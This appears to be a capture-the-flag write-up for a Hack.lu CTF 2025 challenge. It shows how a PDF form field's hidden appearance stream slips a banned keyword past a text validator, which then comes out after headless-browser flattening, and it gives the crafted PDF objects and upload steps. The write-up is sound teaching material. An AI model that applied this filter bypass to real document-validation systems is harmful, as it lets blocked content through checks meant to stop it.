#22 / 299

Hack.lu CTF 2025

2025-10-18Team: Water Paddler

途中でコンセプトIKEA?と思ったらそうだった。

misc-CUSTÖMER SUPPÖRT

OverView

This challenge accepts a single-page PDF at POST /upload, validates its text to block unreleased keywords (including FLAG), then “prints” the file via headless Firefox (Puppeteer) back onto itself, and finally re-parses the resulting PDF to assemble “did you know” facts. The validation step concatenates:

  • page text from getTextContent().items[].str, and
  • for Widget annotations, only the form field value.

Crucially, the validator does not inspect the annotation’s appearance stream (/AP). After validation, the printing step flattens annotation appearances into page content. The final extraction therefore sees whatever the appearance drew—even if validation never saw it.


Solution

Exploit a TOCTOU gap by crafting a text field Widget annotation whose:

  • Value /V is safe so validation passes, while
  • Normal appearance /AP /N renders the visible text FLAG using standard text operators with a Base14 font (Helvetica).

Flow:

  1. Validation: Sees /V (GALF) (no banned token) → passes.
  2. Print/Flatten: Headless Firefox bakes the annotation appearance into page content.
  3. Re-Extraction: pdf.js now extracts FLAG from the flattened page → the app reveals the environment FLAG in the “did you know” line.

Constraints to respect:

  • 1 page, < 1 MB, .pdf extension, Content-Type: application/pdf.

Exploit

% Catalog / AcroForm
1 0 obj << /Type /Catalog /Pages 2 0 R /AcroForm 6 0 R >> endobj
2 0 obj << /Type /Pages /Kids [3 0 R] /Count 1 >> endobj

% Single page with Helvetica
3 0 obj << /Type /Page /Parent 2 0 R
          /MediaBox [0 0 595 842]
          /Resources << /Font << /F1 4 0 R >> >>
          /Annots [5 0 R] >> endobj
4 0 obj << /Type /Font /Subtype /Type1 /BaseFont /Helvetica >> endobj

% Widget annotation: /V is safe, /AP draws FLAG
5 0 obj
<< /Type /Annot /Subtype /Widget /FT /Tx
   /T (Field1)
   /V (GALF)                 % <-- what validation reads
   /F 4                      % print flag
   /Rect [150 450 450 580]
   /AP << /N 7 0 R >>        % <-- what the renderer flattens
>> endobj

% AcroForm
6 0 obj << /Fields [5 0 R] /NeedAppearances false >> endobj

% Appearance XObject: draw FLAG as real text
7 0 obj
<< /Type /XObject /Subtype /Form /BBox [0 0 595 842]
   /Resources << /Font << /F1 4 0 R >> >>
   /Length  ... >>
stream
q
/F1 72 Tf
1 0 0 1 200 500 Tm
(FLAG) Tj                    % <-- visible FLAG after flattening
Q
endstream
endobj

Steps to reproduce:

  1. Build a one-page PDF that includes the Widget above (value /V (GALF), appearance /AP /N draws FLAG).

  2. Upload as multipart/form-data to /upload with field name invoice.

  3. The server validates /V (passes), prints/overwrites (flattens AP), then extracts FLAG and renders the line:

    "... that the flag for this challenge is ${FLAG}?"